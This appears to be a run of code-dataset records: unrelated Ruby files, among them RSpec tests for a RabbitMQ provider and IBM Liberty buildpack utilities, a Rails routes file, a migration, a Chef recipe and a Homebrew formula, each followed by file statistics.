'rmq_x', %w[tag1 tag7 tag3 administrator]) provider.tags = %w[tag1 tag7 tag3] provider.flush end end describe '#admin=' do it 'gets admin value properly' do provider.set(tags: %w[administrator tag1 tag2]) expect(provider.admin).to be :true end it 'gets false admin value' do provider.set(tags: %w[tag1 tag2]) expect(provider.admin).to be :false end it 'sets admin value' do provider.expects(:rabbitmqctl).with('set_user_tags', 'rmq_x', ['administrator']) resource[:admin] = true provider.admin = resource[:admin] provider.flush end it 'adds admin value to existing tags of the user' do resource[:tags] = %w[tag1 tag2] provider.expects(:rabbitmqctl).with('set_user_tags', 'rmq_x', %w[tag1 tag2 administrator]) resource[:admin] = true provider.admin = resource[:admin] provider.flush end it 'unsets admin value' do provider.set(tags: ['administrator']) provider.expects(:rabbitmqctl).with('set_user_tags', 'rmq_x', []) provider.admin = :false provider.flush end it 'does not interfere with existing tags on the user when unsetting admin value' do provider.set(tags: %w[administrator tag1 tag2]) resource[:tags] = %w[tag1 tag2] provider.expects(:rabbitmqctl).with('set_user_tags', 'rmq_x', %w[tag1 tag2]) provider.admin = :false provider.flush end end end
29.327684
115
0.628781
1cdcfddcdb0f7fd55925c0e1190a190882f4f514
106
class Behavior < ApplicationRecord has_many :conditions accepts_nested_attributes_for :conditions end
21.2
43
0.849057
f796a47f434ab06167f626497a3b524a62e1357d
138
class OdptCommon::Factory::Decorate::Settings < RailsDecorateFactory::Settings include ::OdptCommon::Factory::Decorate::CurrentPath end
34.5
78
0.811594
613b5a05e34f4b435133a1ea672712cec93cd8b5
27,565
# Encoding: utf-8 # IBM Liberty Buildpack # Copyright 2014 the original author or authors. # # Licensed under the Apache License, Version 2.0 (the "License"); you may not # use this file except in compliance with the License. You may obtain a copy of # the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations under # the License. require 'spec_helper' require 'rexml/document' require 'liberty_buildpack/services/utils' require 'logging_helper' module LibertyBuildpack::Services describe Utils do include_context 'logging_helper' #---------------- # Helper method to check an xml file agains expected results. # # @param xml - the name of the xml file file containing the results (server.xml, runtime_vars.xml) # @param - expected - the array of strings we expect to find in the xml file, in order. #---------------- def validate_xml(server_xml, expected) # At present, with no formatter, REXML writes server.xml as a single line (no cr). If we write a special formatter in the future to change that, # then the following algorithm will need to change. server_xml_contents = File.readlines(server_xml) # For each String in the expected array, make sure there is a corresponding entry in server.xml # make sure we consume all entries in the expected array. expected.each do |line| expect(server_xml_contents[0]).to include(line) end end describe 'test add_features' do it 'should add a feature to existing featureManager' do Dir.mktmpdir do |root| server_xml = File.join(root, 'server.xml') doc = REXML::Document.new('<server></server>') REXML::Element.new('featureManager', doc.root) Utils.add_features(doc.root, ['someFeature']) File.open(server_xml, 'w') { |file| doc.write(file) } # create the Strings to check server.xml contents s1 = '<server>' s2 = '<featureManager><feature>someFeature</feature></featureManager>' s3 = '</server>' expected = [s1, s2, s3] validate_xml(server_xml, expected) end end # it it 'should add multiple features to existing featureManager' do Dir.mktmpdir do |root| server_xml = File.join(root, 'server.xml') doc = REXML::Document.new('<server></server>') REXML::Element.new('featureManager', doc.root) Utils.add_features(doc.root, %w(someFeature otherFeature)) File.open(server_xml, 'w') { |file| doc.write(file) } # create the Strings to check server.xml contents s1 = '<server>' s2 = '<featureManager><feature>someFeature</feature><feature>otherFeature</feature></featureManager>' s3 = '</server>' expected = [s1, s2, s3] validate_xml(server_xml, expected) end end # it it 'should filter out duplicate features' do Dir.mktmpdir do |root| server_xml = File.join(root, 'server.xml') doc = REXML::Document.new('<server></server>') REXML::Element.new('featureManager', doc.root) Utils.add_features(doc.root, %w(someFeature someFeature)) File.open(server_xml, 'w') { |file| doc.write(file) } # create the Strings to check server.xml contents s1 = '<server>' s2 = '<featureManager><feature>someFeature</feature></featureManager>' s3 = '</server>' expected = [s1, s2, s3] validate_xml(server_xml, expected) end end # it it 'should handle partitioned featureManager' do Dir.mktmpdir do |root| server_xml = File.join(root, 'server.xml') doc = REXML::Document.new('<server></server>') REXML::Element.new('featureManager', doc.root) fm = REXML::Element.new('featureManager', doc.root) f = REXML::Element.new('feature', fm) f.add_text('otherFeature') Utils.add_features(doc.root, %w(someFeature otherFeature)) File.open(server_xml, 'w') { |file| doc.write(file) } # create the Strings to check server.xml contents s1 = '<server>' s2 = '<featureManager><feature>someFeature</feature></featureManager>' s3 = '<featureManager><feature>otherFeature</feature></featureManager>' s4 = '</server>' expected = [s1, s2, s3, s4] validate_xml(server_xml, expected) end end # it it 'should raise when doc is nil' do expect { Utils.add_features(nil, %w(someFeature otherFeature)) }.to raise_error(RuntimeError, 'invalid parameters') end # it it 'should raise when features is nil' do doc = REXML::Document.new('<server></server>') expect { Utils.add_features(doc.root, nil) }.to raise_error(RuntimeError, 'invalid parameters') end # it it 'should raise when feature conditionals are invalid' do doc = REXML::Document.new('<server></server>') condition = {} expect { Utils.add_features(doc.root, condition) }.to raise_error(RuntimeError, 'Invalid feature condition') condition = { 'if' => ['a'] } expect { Utils.add_features(doc.root, condition) }.to raise_error(RuntimeError, 'Invalid feature condition') condition = { 'then' => ['a'] } expect { Utils.add_features(doc.root, condition) }.to raise_error(RuntimeError, 'Invalid feature condition') condition = { 'else' => ['a'] } expect { Utils.add_features(doc.root, condition) }.to raise_error(RuntimeError, 'Invalid feature condition') end it 'should handle feature conditionals' do condition = { 'if' => ['servlet-3.0', 'jdbc-4.0'], 'then' => ['jsp-2.2'], 'else' => ['jsp-2.3'] } # should use jsp-2.3 because no feature is found doc = REXML::Document.new('<server></server>') Utils.add_features(doc.root, condition) features = Utils.get_features(doc.root) expect(features).to include('jsp-2.3') # should use jsp-2.2 because servlet-3.0 is found doc = REXML::Document.new('<server></server>') Utils.add_features(doc.root, %w(servlet-3.0)) Utils.add_features(doc.root, condition) features = Utils.get_features(doc.root) expect(features).to include('servlet-3.0', 'jsp-2.2') # should use jsp-2.2 becuase jdbc-4.0 is found doc = REXML::Document.new('<server></server>') Utils.add_features(doc.root, %w(jdbc-4.0)) Utils.add_features(doc.root, condition) features = Utils.get_features(doc.root) expect(features).to include('jdbc-4.0', 'jsp-2.2') end # it end # describe test add features describe 'test update_bootstrap_properties' do # This is currently tested in log_analysis_spec.rb end # describe test update bootstrap.properties describe 'test is_logical_singleton?' do it 'should handle single element with no config ids' do doc = REXML::Document.new('<server></server>') e1 = REXML::Element.new('stanza', doc.root) expect(Utils.is_logical_singleton?([e1])).to eq(true) end # it it 'should handle partitioned element with no config ids' do doc = REXML::Document.new('<server></server>') e1 = REXML::Element.new('stanza', doc.root) e2 = REXML::Element.new('stanza', doc.root) expect(Utils.is_logical_singleton?([e1, e2])).to eq(true) end # it it 'should handle partitioned element with config ids' do doc = REXML::Document.new('<server></server>') e1 = REXML::Element.new('stanza', doc.root) e1.add_attribute('id', 'someid') e2 = REXML::Element.new('stanza', doc.root) e2.add_attribute('id', 'someid') expect(Utils.is_logical_singleton?([e1, e2])).to eq(true) end # it it 'should handle partitioned element with mismatched config ids' do doc = REXML::Document.new('<server></server>') e1 = REXML::Element.new('stanza', doc.root) e1.add_attribute('id', 'someid') e2 = REXML::Element.new('stanza', doc.root) e2.add_attribute('id', 'otherid') expect(Utils.is_logical_singleton?([e1, e2])).to eq(false) end # it it 'should handle partitioned element where first has id and second does not' do doc = REXML::Document.new('<server></server>') e1 = REXML::Element.new('stanza', doc.root) e1.add_attribute('id', 'someid') e2 = REXML::Element.new('stanza', doc.root) expect(Utils.is_logical_singleton?([e1, e2])).to eq(false) end # it it 'should handle partitioned element where second has id and first does not' do doc = REXML::Document.new('<server></server>') e1 = REXML::Element.new('stanza', doc.root) e2 = REXML::Element.new('stanza', doc.root) e2.add_attribute('id', 'someid') expect(Utils.is_logical_singleton?([e1, e2])).to eq(false) end # it end # describe test is_logical_singleton? describe 'test find_and_update_attribute' do it 'should create attribute when it does not exist in single element' do Dir.mktmpdir do |root| server_xml = File.join(root, 'server.xml') doc = REXML::Document.new('<server></server>') e1 = REXML::Element.new('test', doc.root) Utils.find_and_update_attribute([e1], 'foo', 'bar') File.open(server_xml, 'w') { |file| doc.write(file) } # create the Strings to check server.xml contents s1 = '<server>' s2 = "<test foo='bar'/>" s3 = '</server>' expected = [s1, s2, s3] validate_xml(server_xml, expected) end end # it it 'should create attribute when it does not exist in multiple elements' do Dir.mktmpdir do |root| server_xml = File.join(root, 'server.xml') doc = REXML::Document.new('<server></server>') e1 = REXML::Element.new('test', doc.root) e1.add_attribute('fool', 'bar') e2 = REXML::Element.new('test', doc.root) e2.add_attribute('fo', 'bar') Utils.find_and_update_attribute([e1, e2], 'foo', 'bar') File.open(server_xml, 'w') { |file| doc.write(file) } # create the Strings to check server.xml contents s1 = '<server>' s2 = "<test fool='bar'/>" s3 = "<test fo='bar' foo='bar'/>" s4 = '</server>' expected = [s1, s2, s3, s4] validate_xml(server_xml, expected) end end # it it 'should update attribute when it exists in single element' do Dir.mktmpdir do |root| server_xml = File.join(root, 'server.xml') doc = REXML::Document.new('<server></server>') e1 = REXML::Element.new('test', doc.root) e1.add_attribute('foo', 'bard') Utils.find_and_update_attribute([e1], 'foo', 'bar') File.open(server_xml, 'w') { |file| doc.write(file) } # create the Strings to check server.xml contents s1 = '<server>' s2 = "<test foo='bar'/>" s3 = '</server>' expected = [s1, s2, s3] validate_xml(server_xml, expected) end end # it it 'should update attribute when it exists in one of multiple elements' do Dir.mktmpdir do |root| server_xml = File.join(root, 'server.xml') doc = REXML::Document.new('<server></server>') e1 = REXML::Element.new('test', doc.root) e1.add_attribute('fool', 'bar') e2 = REXML::Element.new('test', doc.root) e2.add_attribute('foo', 'bard') Utils.find_and_update_attribute([e1, e2], 'foo', 'bar') File.open(server_xml, 'w') { |file| doc.write(file) } # create the Strings to check server.xml contents s1 = '<server>' s2 = "<test fool='bar'/>" s3 = "<test foo='bar'/>" s4 = '</server>' expected = [s1, s2, s3, s4] validate_xml(server_xml, expected) end end # it it 'should update attribute in all instances when it exists in multiple elements' do Dir.mktmpdir do |root| server_xml = File.join(root, 'server.xml') doc = REXML::Document.new('<server></server>') e1 = REXML::Element.new('test', doc.root) e1.add_attribute('foo', 'bar1') e2 = REXML::Element.new('test', doc.root) e2.add_attribute('foo', 'bard') Utils.find_and_update_attribute([e1], 'foo', 'bar') File.open(server_xml, 'w') { |file| doc.write(file) } # create the Strings to check server.xml contents s1 = '<server>' s2 = "<test foo='bar'/>" s3 = "<test foo='bar'/>" s4 = '</server>' expected = [s1, s2, s3, s4] validate_xml(server_xml, expected) end end # it end # describe test find_and_update_attribute describe 'test find_attribute' do end # describe test find_attribute describe 'test get_applications' do it 'should return empty array if no applications' do doc = REXML::Document.new('<server></server>') expect(Utils.get_applications(doc.root).size).to eq(0) end # it it 'should detect single application' do doc = REXML::Document.new('<server></server>') app = REXML::Element.new('application', doc.root) app.add_attribute('id', 'myapp') expect(Utils.get_applications(doc.root).size).to eq(1) end # it it 'should detect single webApplication' do doc = REXML::Document.new('<server></server>') app = REXML::Element.new('webApplication', doc.root) app.add_attribute('id', 'myapp') expect(Utils.get_applications(doc.root).size).to eq(1) end # it it 'should detect two application' do doc = REXML::Document.new('<server></server>') app = REXML::Element.new('application', doc.root) app.add_attribute('id', 'myapp') app = REXML::Element.new('application', doc.root) app.add_attribute('id', 'other') expect(Utils.get_applications(doc.root).size).to eq(2) end # it it 'should detect two webApplication' do doc = REXML::Document.new('<server></server>') app = REXML::Element.new('webApplication', doc.root) app.add_attribute('id', 'myapp') app = REXML::Element.new('webApplication', doc.root) app.add_attribute('id', 'other') expect(Utils.get_applications(doc.root).size).to eq(2) end # it it 'should detect one application and one webApplication' do doc = REXML::Document.new('<server></server>') app = REXML::Element.new('application', doc.root) app.add_attribute('id', 'myapp') app = REXML::Element.new('webApplication', doc.root) app.add_attribute('id', 'other') expect(Utils.get_applications(doc.root).size).to eq(2) end # it end # describe test get_applications describe 'test get_api_visibility' do it 'should return nil if no applications' do doc = REXML::Document.new('<server></server>') expect(Utils.get_api_visibility(doc.root)).to be_nil end # it it 'should return nil if multiple applications' do doc = REXML::Document.new('<server></server>') app = REXML::Element.new('application', doc.root) app.add_attribute('id', 'myapp') app = REXML::Element.new('application', doc.root) app.add_attribute('id', 'yourid') expect(Utils.get_api_visibility(doc.root)).to be_nil end # it it 'should return nil if one application/no classloader' do doc = REXML::Document.new('<server></server>') app = REXML::Element.new('application', doc.root) app.add_attribute('id', 'myapp') expect(Utils.get_api_visibility(doc.root)).to be_nil end # it it 'should return nil if one application/one classloader/no api' do doc = REXML::Document.new('<server></server>') app = REXML::Element.new('application', doc.root) app.add_attribute('id', 'myapp') cl = REXML::Element.new('classloader', app) cl.add_attribute('id', 'cl_id') expect(Utils.get_api_visibility(doc.root)).to be_nil end # it it 'should return visibility if one application/one classloader/api' do doc = REXML::Document.new('<server></server>') app = REXML::Element.new('application', doc.root) app.add_attribute('id', 'myapp') cl = REXML::Element.new('classloader', app) cl.add_attribute('id', 'cl_id') cl.add_attribute('apiTypeVisibility', 'ibm,spec') expect(Utils.get_api_visibility(doc.root)).to eq('ibm,spec') end # it it 'should return nil if one application/two classloader/no api' do doc = REXML::Document.new('<server></server>') app = REXML::Element.new('application', doc.root) app.add_attribute('id', 'myapp') cl = REXML::Element.new('classloader', app) cl.add_attribute('id', 'cl_id') cl = REXML::Element.new('classloader', app) cl.add_attribute('id', 'cl_id') expect(Utils.get_api_visibility(doc.root)).to be_nil end # it it 'should return visibility if one application/two classloader/api' do doc = REXML::Document.new('<server></server>') app = REXML::Element.new('application', doc.root) app.add_attribute('id', 'myapp') cl = REXML::Element.new('classloader', app) cl.add_attribute('id', 'cl_id') cl = REXML::Element.new('classloader', app) cl.add_attribute('id', 'other') cl.add_attribute('apiTypeVisibility', 'ibm,spec') expect(Utils.get_api_visibility(doc.root)).to eq('ibm,spec') end # it end # describe test get_api_visibility describe 'test add_library_to_app_classloader' do it 'should do nothing if no applications' do Dir.mktmpdir do |root| server_xml = File.join(root, 'server.xml') doc = REXML::Document.new('<server></server>') Utils.add_library_to_app_classloader(doc.root, 'debug', 'lib') File.open(server_xml, 'w') { |file| doc.write(file) } # create the Strings to check server.xml contents s1 = '<server/>' expected = [s1] validate_xml(server_xml, expected) end end # it it 'should do nothing if multiple applications' do Dir.mktmpdir do |root| server_xml = File.join(root, 'server.xml') doc = REXML::Document.new('<server></server>') app = REXML::Element.new('application', doc.root) app.add_attribute('id', 'myapp') app = REXML::Element.new('application', doc.root) app.add_attribute('id', 'yourid') Utils.add_library_to_app_classloader(doc.root, 'debug', 'lib') File.open(server_xml, 'w') { |file| doc.write(file) } # create the Strings to check server.xml contents s1 = '<server>' s2 = "<application id='myapp'/>" s3 = "<application id='yourid'/>" s4 = '</server>' expected = [s1, s2, s3, s4] validate_xml(server_xml, expected) end end # it it 'should create classloader if it does not exist' do Dir.mktmpdir do |root| server_xml = File.join(root, 'server.xml') doc = REXML::Document.new('<server></server>') app = REXML::Element.new('application', doc.root) app.add_attribute('id', 'myapp') Utils.add_library_to_app_classloader(doc.root, 'debug', 'lib') File.open(server_xml, 'w') { |file| doc.write(file) } # create the Strings to check server.xml contents s1 = '<server>' s2 = "<application id='myapp'><classloader commonLibraryRef='lib'/></application>" s3 = '</server>' expected = [s1, s2, s3] validate_xml(server_xml, expected) end end # it it 'should add commonLibRef to classloader if it does not exist' do Dir.mktmpdir do |root| server_xml = File.join(root, 'server.xml') doc = REXML::Document.new('<server></server>') app = REXML::Element.new('application', doc.root) app.add_attribute('id', 'myapp') cl = REXML::Element.new('classloader', app) cl.add_attribute('id', 'cl_id') Utils.add_library_to_app_classloader(doc.root, 'debug', 'lib') File.open(server_xml, 'w') { |file| doc.write(file) } # create the Strings to check server.xml contents s1 = '<server>' s2 = "<application id='myapp'><classloader commonLibraryRef='lib' id='cl_id'/></application>" s3 = '</server>' expected = [s1, s2, s3] validate_xml(server_xml, expected) end end # it it 'should add update existing commonLibRef in classloader' do Dir.mktmpdir do |root| server_xml = File.join(root, 'server.xml') doc = REXML::Document.new('<server></server>') app = REXML::Element.new('application', doc.root) app.add_attribute('id', 'myapp') cl = REXML::Element.new('classloader', app) cl.add_attribute('commonLibraryRef', 'first') Utils.add_library_to_app_classloader(doc.root, 'debug', 'lib') File.open(server_xml, 'w') { |file| doc.write(file) } # create the Strings to check server.xml contents s1 = '<server>' s2 = "<application id='myapp'><classloader commonLibraryRef='first,lib'/></application>" s3 = '</server>' expected = [s1, s2, s3] validate_xml(server_xml, expected) end end # it it 'should do nothing if commonLibraryRef is already set' do Dir.mktmpdir do |root| server_xml = File.join(root, 'server.xml') doc = REXML::Document.new('<server></server>') app = REXML::Element.new('application', doc.root) app.add_attribute('id', 'myapp') cl = REXML::Element.new('classloader', app) cl.add_attribute('commonLibraryRef', 'lib') Utils.add_library_to_app_classloader(doc.root, 'debug', 'lib') File.open(server_xml, 'w') { |file| doc.write(file) } # create the Strings to check server.xml contents s1 = '<server>' s2 = "<application id='myapp'><classloader commonLibraryRef='lib'/></application>" s3 = '</server>' expected = [s1, s2, s3] validate_xml(server_xml, expected) end end # it it 'should do nothing if commonLibraryRef is already set and has multiple entries' do Dir.mktmpdir do |root| server_xml = File.join(root, 'server.xml') doc = REXML::Document.new('<server></server>') app = REXML::Element.new('application', doc.root) app.add_attribute('id', 'myapp') cl = REXML::Element.new('classloader', app) cl.add_attribute('commonLibraryRef', 'first, lib') Utils.add_library_to_app_classloader(doc.root, 'debug', 'lib') File.open(server_xml, 'w') { |file| doc.write(file) } # create the Strings to check server.xml contents s1 = '<server>' s2 = "<application id='myapp'><classloader commonLibraryRef='first, lib'/></application>" s3 = '</server>' expected = [s1, s2, s3] validate_xml(server_xml, expected) end end # it end # describe test add_library_to_app_classloader describe 'get_urls_for_client_jars' do it 'via client_jar_key' do config = {} config['client_jar_key'] = 'myKey' urls = {} urls['myKey'] = 'http://myHost/myPath' result = Utils.get_urls_for_client_jars(config, urls) expect(result).to include(urls['myKey']) end it 'via client_jar_url' do config = {} config['client_jar_url'] = 'http://myHost/myPath' urls = {} result = Utils.get_urls_for_client_jars(config, urls) expect(result).to include(config['client_jar_url']) end it 'via driver' do data = [LibertyBuildpack::Util::TokenizedVersion.new('1.5.0'), 'http://myHost/myPath'] LibertyBuildpack::Repository::ConfiguredItem.stub(:find_item).and_return(data) driver = {} driver['repository_root'] = 'file://doesnotmatter' driver['version'] = '1.+' config = {} config['driver'] = driver urls = {} result = Utils.get_urls_for_client_jars(config, urls) expect(result).to include('http://myHost/myPath') end end # describe describe 'parse_compliant_vcap_service' do let(:vcap_services) do { 'myName' => [{ 'name' => 'myName', 'plan' => 'beta', 'label' => 'myLabel', 'credentials' => { 'url' => 'http://foobar', 'password' => 'myPassword', 'scopes' => %w(singleton request) } }] } end def test_result(generated_hash, generated_xml, name, value) expect(generated_hash[name]).to eq(value) variables = REXML::XPath.match(generated_xml, "/server/variable[@name='#{name}']") expect(variables).not_to be_empty expect(variables[0].attributes['value']).to eq(value) end it 'parse default' do doc = REXML::Document.new('<server></server>') hash = Utils.parse_compliant_vcap_service(doc.root, vcap_services['myName'][0]) test_result(hash, doc.root, 'cloud.services.myName.name', 'myName') test_result(hash, doc.root, 'cloud.services.myName.plan', 'beta') test_result(hash, doc.root, 'cloud.services.myName.label', 'myLabel') test_result(hash, doc.root, 'cloud.services.myName.connection.url', 'http://foobar') test_result(hash, doc.root, 'cloud.services.myName.connection.password', 'myPassword') test_result(hash, doc.root, 'cloud.services.myName.connection.scopes', 'singleton, request') end it 'parse custom' do doc = REXML::Document.new('<server></server>') hash = Utils.parse_compliant_vcap_service(doc.root, vcap_services['myName'][0]) do | name, value | if name == 'credentials.scopes' value = value.join(' ') elsif name == 'plan' value = 'alpha' else value end end test_result(hash, doc.root, 'cloud.services.myName.name', 'myName') test_result(hash, doc.root, 'cloud.services.myName.plan', 'alpha') test_result(hash, doc.root, 'cloud.services.myName.label', 'myLabel') test_result(hash, doc.root, 'cloud.services.myName.connection.url', 'http://foobar') test_result(hash, doc.root, 'cloud.services.myName.connection.password', 'myPassword') test_result(hash, doc.root, 'cloud.services.myName.connection.scopes', 'singleton request') end end end # describe end
42.212864
150
0.603845
2631060d899f0b8c3118c554266cddd8feb9ed69
868
class ReplaceEnvironmentIdWithEnvironmentNameDeploys < ActiveRecord::Migration RENAMES = {"dev" => "Staging", "master" => "Production"} class Environment < ActiveRecord::Base; end def up add_column :deploys, :environment_name, :string, null: false, default: "Production" add_index :deploys, :environment_name add_index :deploys, [:project_id, :environment_name] Deploy.tap(&:reset_column_information).reorder(nil).each do |deploy| if deploy.respond_to?(:environment_id) && (environment = Environment.find_by_id(deploy.environment_id)) deploy.update_column(:environment_name, environment.name) end end rename_column :user_notifications, :environment, :environment_name end def down remove_column :deploys, :environment_name rename_column :user_notifications, :environment_name, :environment end end
33.384615
109
0.745392
ff8505b4a46c62e43ee423e2cdd9c6de50641402
695
class IfanrSpider < Flute::SpiderBase include RssMiddleware set_name 'ifanr' start_urls ['http://www.ifanr.com/feed'] def before_parse(items) items.map {|item| WebItem.new url: item.url, title: item.title } end def parse(items) items.map do |item| request = network.request(item.url) request.meta = item manager.queue request request end end def after_parse(requests) requests.map {|request| html = request.response_html item = request.meta item.description = html.og_description unless html.og_image.blank? item.image = html.og_image end item } end end
19.305556
44
0.623022
e204e0a515dfa00905d13711fa635cd506cd73ea
722
# frozen_string_literal: true require 'spec_helper' describe 'admin visits dashboard' do include ProjectForksHelper before do sign_in(create(:admin)) end context 'counting forks' do it 'correctly counts 2 forks of a project' do project = create(:project) project_fork = fork_project(project) fork_project(project_fork) # Make sure the fork_networks & fork_networks reltuples have been updated # to get a correct count on postgresql ActiveRecord::Base.connection.execute('ANALYZE fork_networks') ActiveRecord::Base.connection.execute('ANALYZE fork_network_members') visit admin_root_path expect(page).to have_content('Forks 2') end end end
24.896552
79
0.722992
0808960b62d0cc2a7a65e2a3bd80b5ad90f95ac9
590
# frozen_string_literal: true sumo_dir = node['platform_family'] == 'windows' ? 'c:\sumo' : '/opt/SumoCollector' # install a blank collector sumologic_collector sumo_dir do action :install end sumologic_collector sumo_dir do collector_name 'test-instance' host_name 'example.com' description 'A Test Kitchen instance' category 'Misc' sumo_access_id node['SUMO_ACCESS_ID'] sumo_access_key node['SUMO_ACCESS_KEY'] proxy_host 'proxy.test.com' proxy_port 8080 ephemeral true time_zone 'Etc/UTC' skip_restart true unless node['SUMO_ACCESS_ID'] action :configure end
24.583333
82
0.766102
26eff95b52b611597e2ca033f27fc9657d8f9a40
7,477
#require 'api_constraints' Rails.application.routes.draw do get 'subscribe/new' devise_for :users, :controllers => { :omniauth_callbacks => "users/omniauth_callbacks", :registrations => "users/registrations", :confirmations => "confirmations", :passwords => "passwords" } get 'password_resets/new' get 'password_resets/edit' root 'static_pages#home' get 'cancel_subscription' => 'subscribe#cancel_subscription' get 'about' => 'static_pages#about' get 'contact' => 'static_pages#contact' get 'faq' => 'static_pages#faq' get 'explore' => 'lists#index' get 'charts' => 'static_pages#charts' get 'cooking_with_leo' => 'static_pages#cooking_with_leo' get 'terms_of_service_and_privacy_policy' => 'static_pages#terms_of_service_and_privacy_policy' get 'buy_list' => 'lists#buy_list' get 'instagram_dish' => 'lists#instagram_dish' get 'instagram_dish_from_home' => 'lists#instagram_dish_from_home' get 'create_list_buy' => 'lists#create_list_buy' get 'hard_delete_user_from_profile' => 'users#hard_delete_user_from_profile' get 'skip_onboarding' => 'static_pages#skip_onboarding' get 'logged_in_reset' => 'users#logged_in_reset' get 'addfood' => 'foods#new' get 'add_list_buy' => 'list_buys#new' get 'add_person' => 'lists#add_person' get 'add_person_submit' => 'lists#add_person_submit' get 'edit_person' => 'lists#edit_person' get 'edit_person_submit' => 'lists#edit_person_submit' get 'build_list' => 'lists#build_list' get 'addquantity' => 'quantities#new' get 'add_food_stepwise' => 'quantities#add_food_stepwise' get 'add_food_stepwise_skip' => 'quantities#add_food_stepwise_skip' get 'delete_food_stepwise_skip' => 'quantities#delete_food_stepwise_skip' get 'delete_food_stepwise' => 'quantities#delete_food_stepwise' get 'create_random_list_name' => 'lists#create_random_list_name' get 'shuffle_stepwise' => 'lists#shuffle_stepwise' get 'start_list_add' => 'lists#start_list_add' get 'start_list_add_undo' => 'lists#start_list_add_undo' post 'comment' => 'comments#create' get 'search' => 'lists#search' get 'home_search' => 'static_pages#home_search' get 'rich_in_nutrient' => 'lists#rich_in_nutrient' get 'browse' => 'lists#browse' get 'search_and_add' => 'lists#search_and_add' get 'find_good_list' => 'lists#find_good_list' post 'favorite_to_list' => 'lists#favorite_to_list' get 'onboarding_favorite' => 'static_pages#onboarding_favorite' get 'see_notifications' => 'static_pages#see_notifications' get 'static_chart_generate' => 'static_pages#static_chart_generate' get 'list_preview' => 'static_pages#list_preview' get 'create' => 'quantities#create' get 'hard_delete' => 'lists#hard_delete' get 'favorite' => 'lists#favorite' get 'user_favorite' => 'users#user_favorite' get 'skip_liker' => 'users#skip_liker' get 'search_favorite' => 'users#search_favorite' get 'search_dislike' => 'users#search_dislike' get 'user_dishes' => 'users#user_dishes' # get 'user_spoons' => 'users#user_spoons' get 'user_likes' => 'users#user_likes' get 'user_dislikes' => 'users#user_dislikes' get 'undo_hard_delete_user' => 'users#undo_hard_delete_user' get 'chart_generate' => 'users#chart_generate' get 'chart_click' => 'users#chart_click' get 'undo_favorite' => 'users#undo_favorite' get 'fork' => 'lists#fork' # get 'spoon' => 'lists#spoon' get 'like' => 'activities#like' get 'pantry' => 'quantities#pantry' get 'pantry_remove' => 'quantities#pantry_remove' get 'clear_user_comments' => 'comments#clear_user_comments' get 'clear_user_comments_all' => 'comments#clear_user_comments_all' get 'send_checklist_mailer' => 'lists#send_checklist_mailer' resources :foods resources :activities do get 'like' end resources :posts, :has_many => :comments resources :list_buys resources :images resources :quantities do get 'create' get 'pantry' get 'pantry_remove' get 'add_food_stepwise' get 'add_food_stepwise_skip' get 'delete_food_stepwise_skip' get 'delete_food_stepwise' end resources :comments do post 'create' get 'clear_user_comments' get 'clear_user_comments_all' end resources :static_pages do get 'skip_onboarding' get 'onboarding_favorite' get 'static_chart_generate' get 'see_notifications' get 'home_search' end resources :lists do get 'instagram_dish' get 'instagram_dish_from_home' get 'add_person' get 'add_person_submit' get 'edit_person' get 'edit_person_submit' post 'favorite_to_list' get 'create_random_list_name' get 'shuffle_stepwise' get 'start_list_add' get 'start_list_add_undo' get 'addblanklist' get 'search' get 'rich_in_nutrient' get 'browse' get 'search_and_add' get 'create' get 'buy_list' get 'build_list' get 'hard_delete' get 'fork' # get 'spoon' end resources :users do get 'search_favorite' get 'search_dislike' get 'undo_hard_delete_user' get 'undo_favorite' get 'logged_in_reset' get 'user_favorite' get 'skip_liker' get 'hard_delete_user_from_profile' put 'update_bio' put 'update_settings' # get 'user_spoons' get 'user_dishes' get 'user_likes' get 'user_dislikes' get 'chart_generate' get 'chart_click' member do get :following, :followers end end resources :lists, only: [:create, :destroy] resources :relationships, only: [:create, :destroy] resources :charges resources :subscribe # The priority is based upon order of creation: first created -> highest priority. # See how all your routes lay out with "rake routes". # You can have the root of your site routed with "root" # Example of regular route: # get 'products/:id' => 'catalog#view' # Example of named route that can be invoked with purchase_url(id: product.id) # get 'products/:id/purchase' => 'catalog#purchase', as: :purchase # Example resource route (maps HTTP verbs to controller actions automatically): # resources :products # root 'static_pages#home' # Example resource route with options: # resources :products do # member do # get 'short' # post 'toggle' # end # # collection do # get 'sold' # end # end # Example resource route with sub-resources: # resources :products do # resources :comments, :sales # resource :seller # end # Example resource route with more complex sub-resources: # resources :products do # resources :comments # resources :sales do # get 'recent', on: :collection # end # end # Example resource route with concerns: # concern :toggleable do # post 'toggle' # end # resources :posts, concerns: :toggleable # resources :photos, concerns: :toggleable # Example resource route within a namespace: # namespace :admin do # # Directs /admin/products/* to Admin::ProductsController # # (app/controllers/admin/products_controller.rb) # resources :products # end # Api definition constraints subdomain: 'api' do namespace :api, defaults: {format: 'json'} do namespace :v1 do resources :lists end end end end
28.109023
97
0.683429
87b438aefc56bf9489d1f07a03d9be00ead21d4d
1,229
class XcbUtilCursor < Formula desc "XCB cursor library (replacement for libXcursor)" homepage "https://xcb.freedesktop.org" url "https://xcb.freedesktop.org/dist/xcb-util-cursor-0.1.3.tar.bz2" sha256 "05a10a0706a1a789a078be297b5fb663f66a71fb7f7f1b99658264c35926394f" revision 1 bottle do root_url "https://linuxbrew.bintray.com/bottles-xorg" cellar :any_skip_relocation sha256 "5783dc42becf80a55702f12171bc0125d4fbf72380355b3d373c15b90ee568f8" => :x86_64_linux end option "with-docs", "Regenerate documentation (requires doxygen)" depends_on "doxygen" => :build if build.with? "docs" depends_on "m4" => :build depends_on "pkg-config" => :build depends_on "util-macros" => :build depends_on "libxcb" depends_on "linuxbrew/xorg/xcb-util-image" depends_on "linuxbrew/xorg/xcb-util-renderutil" def install args = %W[ --prefix=#{prefix} --sysconfdir=#{etc} --localstatedir=#{var} --disable-dependency-tracking --disable-silent-rules --enable-devel-docs=#{build.with?("docs") ? "yes" : "no"} --with-doxygen=#{build.with?("docs") ? "yes" : "no"} ] system "./configure", *args system "make" system "make", "install" end end
30.725
94
0.690806
1cb4043c26600cae8c83f399fff54d48862d2345
94
json.extract! @role, :id, :role_name, :role_description, :is_active, :created_at, :updated_at
47
93
0.755319
e8005af4f2b38f66dfcba541960cc8c58d9586e2
1,762
